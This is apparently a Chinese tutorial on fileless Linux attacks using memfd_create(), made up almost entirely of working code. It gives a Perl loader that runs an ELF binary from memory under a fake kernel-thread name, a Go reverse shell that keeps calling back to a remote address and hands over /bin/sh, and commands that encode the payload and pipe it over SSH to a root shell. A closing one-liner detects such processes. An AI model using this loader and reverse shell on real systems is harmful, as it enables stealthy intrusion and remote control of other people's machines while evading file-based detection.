Linux 无文件攻击memfd_create()具体操作步骤

#!/usr/bin/env perl
use warnings;
use strict;
$|=1;
my $name = "";
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
        die "memfd_create: $!";
}
open(my $FH, ‘>&=‘.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);
print "Writing ELF binary to memory...";

1 # Execute new program
2 exec {"/proc/$$/fd/$fd"} "[kworded/0:0]", "-addr", "xx.x.x.x:4444" or die "exec: $!";

 1 package main
 2 
 3 import (
 4         "flag"
 5         "fmt"
 6         "log"
 7         "net"
 8         "os"
 9         "os/exec"
10         "time"
11 )
12 /* Verbose logger */
13 var vlog = log.Printf
14 func main() {
15         var (
16                 addr = flag.String(
17                         "addr",
18                         "127.0.0.1:4444",
19                         "Callback `adress`",
20                 )
21                 sleep = flag.Duration(
22                         "sleep",
23                         2*time.Second,
24                         "Sleep `duration` between callbacks",
25                 )
26                 verbose = flag.Bool(
27                         "v",
28                         false,
29                         "Print message for each connection",
30                 )
31         )
32         flag.Usage = func() {
33                 fmt.Fprintf(
34                         os.Stderr,
35                         `Usage %v [options]
36 Calls the address every so often and hooks up a shell to the network
37 connection.
38 Options:
39 `,
40                         os.Args[0],
41                 )
42                 flag.PrintDefaults()
43         }
44         flag.Parse()
45         /* Unverbose just disables extra logging */
46         if !*verbose {
47                 vlog = func(string, ...interface{}) {}
48         }
49         log.Printf("Starting shell callbacks to %v", *addr)
50         for {
51                 /* Try to make a shell */
52                 if err := shell(*addr); nil != err {
53                         vlog("Error: %v", err)
54                 }
55                 /* Sleep until the next one */
56                 time.Sleep(*sleep)
57         }
58 }
59 /* shell connects to addr and hands it a shell */
60 func shell(addr string) error {
61         /* Try to connect */
62         c, err := net.Dial("tcp", addr)
63         if nil != err {
64                 return err
65         }
66         vlog("Connected %v->%v", c.LocalAddr(), c.RemoteAddr())
67         defer c.Close()
68         /* Make a shell to hook up */
69         s := exec.Command("/bin/sh")
70         s.Stdin = c
71         s.Stdout = c
72         s.Stderr = c
73         /* Welcome the user */
74         fmt.Fprintf(c, "Welcome!\n")
75         /* Start the shell */
76         return s.Run()
77 }

1  cat elfload.pl.head | tee elfload.pl
2  perl -e ‘$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)‘ demoshell >> elfload.pl
3  cat elfload.pl.tail | tee -a elfload.pl
4  cat elfload.pl | ssh root@10.1.1.2 /bin/bash -c ‘perl‘

1 ls -alR /proc/*/exe 2> /dev/null | grep memfd:.*\(deleted\)